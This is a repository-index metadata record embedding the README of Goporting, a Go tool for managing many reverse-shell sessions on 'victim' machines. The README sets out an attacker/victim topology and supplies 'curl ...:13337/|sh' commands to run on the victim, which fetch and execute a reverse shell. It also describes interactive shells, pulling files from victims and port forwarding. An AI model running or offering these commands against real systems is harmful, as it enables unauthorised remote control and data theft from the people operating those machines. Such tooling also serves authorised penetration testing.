{"id":25203594,"url":"https://github.com/threatcode/goporting","last_synced_at":"2025-10-30T19:11:28.318Z","repository":{"id":197954814,"uuid":"699737326","full_name":"threatcode/Goporting","owner":"threatcode","description":null,"archived":false,"fork":false,"pushed_at":"2025-03-26T00:41:53.000Z","size":2383,"stargazers_count":0,"open_issues_count":21,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-26T01:31:56.548Z","etag":null,"topics":["reverse-engineering","reverse-proxy","reverse-shell","web-remote-control"],"latest_commit_sha":null,"homepage":null,"language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/threatcode.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null},"funding":{"goporting":null,"open_collective":"goporting"}},"created_at":"2023-10-03T08:34:52.000Z","updated_at":"2023-10-03T09:36:58.000Z","dependencies_parsed_at":null,"dependency_job_id":"23691231-2be3-4d6e-b62a-71139379a4b6","html_url":"https://github.com/threatcode/Goporting","commit_stats":null,"previous_names":["threatcode/goporting"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/threatcode%2FGoporting","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/threatcode%2FGoporting/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/threatcode%2FGoporting/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/threatcode%2FGoporting/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/threatcode","download_url":"https://codeload.github.com/threatcode/Goporting/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247261584,"owners_count":20910107,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["reverse-engineering","reverse-proxy","reverse-shell","web-remote-control"],"created_at":"2025-02-10T07:18:07.996Z","updated_at":"2025-10-30T19:11:23.277Z","avatar_url":"https://github.com/threatcode.png","language":"Go","readme":"# Goporting\n\n[![Travis-CI](https://travis-ci.org/ThreatCode/Goporting.svg)](https://travis-ci.org/ThreatCode/Goporting)\n[![GitHub stars](https://img.shields.io/github/stars/ThreatCode/Goporting.svg)](https://github.com/ThreatCode/Goporting/stargazers)\n[![GitHub license](https://img.shields.io/github/license/ThreatCode/Goporting.svg)](https://github.com/ThreatCode/Goporting)\n[![GitHub Release Downloads](https://img.shields.io/github/downloads/threatcode/goporting/total)](https://github.com/ThreatCode/Goporting/releases)\n[![Sponsors](https://opencollective.com/goporting/tiers/badge.svg)](https://opencollective.com/goporting)\n\nA modern multiple reverse shell sessions/clients manager via terminal written in go\n\n## Features\n\n- [x] Multiple service listening port\n- [x] Multiple client connections\n- [x] [RESTful API](./docs/RESTful.md)\n- [x] [Python SDK](https://github.com/ThreatCode/Goporting-Python)\n- [x] [Reverse shell as a service](/docs/RaaS.md) (Pop a reverse shell in multiple languages without remembering idle commands)\n- [x] Download/Upload file with progress bar\n- [x] Full interactive shell\n  - [x] Using vim gracefully in reverse shell\n  - [x] Using CTRL+C and CTRL+Z in reverse shell\n- [x] Start servers automatically\n- [x] Port forwarding\n- [x] Initialize from configuration file\n- [x] Web UI\n\n## Get Start\n\n\u003e There are multiple ways to run this tool, feel free to choose one of the following method.\n\n### Install requirements for running (Optional)\n\n```\nsudo apt install upx\n```\n\n### Run Goporting from source code\n\n```bash\ngit clone https://github.com/ThreatCode/Goporting\ncd Goporting\nsudo apt install -y make curl\nmake install_dependency\nmake release\n```\n\n### Run Goporting from docker-compose\n\n```bash\ndocker-compose up -d\n# Method 1: enter the cli of goporting\ndocker-compose exec app tmux a -t goporting\n# Method 2: enter the web ui of goporting\nfirefox http://127.0.0.1:7331/\n```\n\n### Run Goporting from release binaries\n\n1. Download `Goporting` prebuild binary from [HERE](https://github.com/ThreatCode/Goporting/releases)\n2. Run the downloaded executable file\n\n## Usage\n\n### Network Topology\n\n* Attack IP: `192.168.88.129`\n  * Reverse Shell Service: `0.0.0.0:13337`\n  * Reverse Shell Service: `0.0.0.0:13338`\n  * RESTful Service: `127.0.0.1:7331`\n* Victim IP: `192.168.88.130`\n\n### Give it a try\n\nFirst, run `./Goporting`, then the `config.yml` will be generated automatically, and the config file is simple enough.\n\n```yaml\nservers: \n  - host: \"0.0.0.0\"\n    port: 13337\n    # Goporting is able to use several properties as unique identifier (primirary key) of a single client.\n    # All available properties are listed below:\n    # `%i` IP\n    # `%u` Username\n    # `%m` MAC address\n    # `%o` Operating System\n    # `%t` Income TimeStamp\n    hashFormat: \"%i %u %m %o\"\n  - host: \"0.0.0.0\"\n    port: 13338\n    # Using TimeStamp allows us to track all connections from the same IP / Username / OS and MAC.\n    hashFormat: \"%i %u %m %o %t\"\nrestful:\n  host: \"127.0.0.1\"\n  port: 7331\n  enable: true\n# Check new releases from GitHub when starting Goporting\nupdate: false\n```\n\n![](https://goporting-reverse-shell.vercel.app/images/cli/start.gif)\n\nAs you can see, goporting will check for updates, then start listening on port 13337, 13338 and 7331\n\nThe three port have different aims.\n- 13337 Reverse shell server, which **disallows** the reverse session comes from the IP.\n- 13338 Reverse shell server, which **allows** the reverse session comes from the IP.\n- 7331 Goporting [RESTful](./doc/RESTful.md) API EndPoint, which allows you to manipulate Goporting through HTTP protocol or [Python SDK](./doc/SDK.md).\n\nIf you want another reverse shell listening port, just type `Run 0.0.0.0 1339` or modify the `config.yml`.\n\nAlso, goporting will print help information about [RaaS](./doc/RaaS.md) which release you from remembering  tedious reverse shell commands. \n\nWith goporting, all you have to do is just copy-and-paste the `curl` command and execute it on the victim machine.\n\n```bash\ncurl http://127.0.0.1:13337/|sh\ncurl http://192.168.88.129:13337/|sh\n```\n\nNow, suppose that the victim is attacked by the attacker and a reverse shell command will be executed on the machine of victim.\n\n![](https://goporting-reverse-shell.vercel.app/images/cli/connect.gif)\n\n\u003e Notice, the RaaS feature ensure that the reverse shell process is running in background and ignore the hangup signal.\n\n## Get start with Web UI\n\n### Manage listening port\n\n![](https://goporting-reverse-shell.vercel.app/images/webui/add.gif)\n\n### Wait for client connection\n\n![](https://goporting-reverse-shell.vercel.app/images/webui/wait.gif)\n\n### Popup an interactive shell\n\n![](https://goporting-reverse-shell.vercel.app/images/webui/shell.gif)\n\n### Upgrade a reverse shell to an encrypted channel (Termite)\n\n![](https://goporting-reverse-shell.vercel.app/images/webui/upgrade.gif)\n\n## Get start with cli\n\n### List all victims\n\nYou can use `List` command to print table style infomation about all listening servers and connected clients. Notice that the port `13337` will reset the connection from the same machine (we consider two connection are same iff they share the same Hash value, the info being hash can be configured in `config.yml`). Port `13338` will not reset such connections, which provide more repliability.\n\n![](https://goporting-reverse-shell.vercel.app/images/cli/list.gif)\n\n### Select a victim\n\n`Jump` command can take you a tour between clients.\nUse `Jump [HASH / Alias]` to jump. `Alias` is a alias of a specific client, you can set a alias of a client via `Alias [ALIAS]`.\nAlso, for jumping through `HASH`, you do not need to type the whole hash, just prefix of hash will work.\n\n\u003e All commands are case insensitive, feel free to use tab for completing.\n\n![](https://goporting-reverse-shell.vercel.app/images/cli/jump.gif)\n\n\n### Interactive shell\n\n`Interact` will popup a shell, just like `netcat`.\n\n![](https://goporting-reverse-shell.vercel.app/images/cli/interact.gif)\n\n### Download file\n\nUse `Download` command to download file from reverse shell client to attacker's machine.\n\n![](https://goporting-reverse-shell.vercel.app/images/cli/download.gif)\n\n### Upload file\n\nUse `Upload` command to upload file to the current interacting client.\n\n![](https://goporting-reverse-shell.vercel.app/images/cli/upload.gif)\n\n### Interactive shell mode\n\n\u003e This feature only works on *nix clients\n\n\u003e For your user experience, we highly RECOMMEND you use `Upgrade` command to upgrade the plain reverse shell to a encrypted interactive shell.\n\nTry to Spawn `/bin/bash` via Python, then the shell is fully interactive (You can use vim / htop and other stuffs).\nFirst use `Jump` to select a client, then type `PTY`, then type `Interact` to drop into a fully interactive shell.\n~~You can just simply type `exit` to exit pty mode~~, to avoid the situation in [issue #39](https://github.com/ThreatCode/Goporting/issues/39), you can use `platyquit` to quit the fully interactive shell mode.\n\n![](https://goporting-reverse-shell.vercel.app/images/cli/interactive.gif)\n\n\n## Advanced [Usages](./doc)\n\n* Reverse shell as a Service (RaaS)\n* RESTful API\n* Python SDK\n\n## Other Materials\n\n* [Presentation on KCon 2019](https://github.com/ThreatCode/Presentations/blob/master/2019-08-24%20Introduction%20to%20Goporting%20(KCon)/Introduction%20to%20Goporting%20on%20KCon%202019.pdf)\n* [Presentation on GCSIS 2021](https://github.com/ThreatCode/Presentations/blob/master/2021-04-24%20Introduction%20to%20Goporting%20(GCSIS)/Introduction%20to%20Goporting%20on%20GCSIS%202021.pptx)\n* [Demostration Video](http://www.youtube.com/watch?v=Yfy6w8qXcQs \"Goporting\")\n\n## TODOs\n- [ ] [#10 Use database to record all events and interacting logs](https://github.com/ThreatCode/Goporting/issues/10)\n- [ ] Router through clients\n- [ ] Visualize network topology\n- [ ] Host discovery via multiple method (eg: `arp -a`)\n- [ ] Redesign frontend (eg: Listener list, Machine list, Network topology graph, File management...)\n- [ ] [WIP] Add authencation in RESTful API\n- [ ] Use crontab\n- [ ] Provide full kernel API\n- [ ] [WIP] Support file operations\n- [ ] Check whether dst is a folder in file uploading \n- [ ] Benchmark\n- [ ] [#24 Upgrading goporting to a system service](https://github.com/ThreatCode/Goporting/issues/24)\n- [ ] Upgrade to Metepreter session\n- [ ] Electron frontend\n- [ ] [#53 Reload config file](https://github.com/ThreatCode/Goporting/issues/53)\n- [x] Add version checking in Termite\n- [x] [#28 Suport enable internet on the internal machine](https://github.com/ThreatCode/Goporting/issues/28))\n- [x] [#28 Suport dynamic port forwarding](https://github.com/ThreatCode/Goporting/issues/28))\n- [x] [#28 Suport remote port forwarding](https://github.com/ThreatCode/Goporting/issues/28))\n- [x] [#28 Suport local port forwarding](https://github.com/ThreatCode/Goporting/issues/28))\n- [x] Design Private Protocol\n- [x] Check exit state in WebSocket\n- [x] ~~Use HR package to detect the status of client (maybe `echo $random_string`)~~\n- [x] Notify window resize (Only works in all cases when private protocol established)\n- [x] Upgrade to private protocol\n- [x] [#15 Encryption support](https://github.com/ThreatCode/Goporting/issues/15)\n- [x] Web UI\n- [x] More interfaces in RESTful API\n- [x] Websocket for Web UI \n- [x] Continuous Integration\n- [x] [#12 Add capability of setting human-readable name of session](https://github.com/ThreatCode/Goporting/issues/12)\n- [x] [#7 Allow user to choose operation for the same IP income connection](https://github.com/ThreatCode/Goporting/issues/7)\n- [x] [#25 Replace new connection from same IP with old one](https://github.com/ThreatCode/Goporting/issues/25)\n- [x] Test driven development [WIP]\n- [x] [#19 Read command file when start up](https://github.com/ThreatCode/Goporting/issues/19)\n- [x] Add config file\n- [x] [#30 RaaS support specifying language, thanks for @RicterZ](https://github.com/ThreatCode/Goporting/issues/30)  \n- [x] Execute user input when input is not a built-in command\n- [x] Download/Upload progress bar\n- [x] [#6 Send one command to all clients at once (Meta Command)](https://github.com/ThreatCode/Goporting/issues/6)\n- [x] User guide\n- [x] Upload file\n- [x] Download file\n- [x] [#13 Add a display current prompt setting](https://github.com/ThreatCode/Goporting/issues/13)\n- [x] [DEPRECATED] Global Config (eg. [#9 BlockSameIP](https://github.com/ThreatCode/Goporting/pull/9))\n- [x] [#11 Make STDOUT and STDERR distinguishable](https://github.com/ThreatCode/Goporting/issues/11)\n- [x] [#23 Case insensitive CLI](https://github.com/ThreatCode/Goporting/issues/23)\n- [x] Delete command by [@EddieIvan01](https://github.com/EddieIvan01)\n- [x] OS Detection (Linux|Windows) by [@EddieIvan01](https://github.com/EddieIvan01)\n- [x] Upgrade common reverse shell session into full interactive session\n- [x] Docker support (Added by [@yeya24](https://github.com/yeya24))\n\n","funding_links":["https://opencollective.com/goporting"],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fthreatcode%2Fgoporting","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fthreatcode%2Fgoporting","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fthreatcode%2Fgoporting/lists"}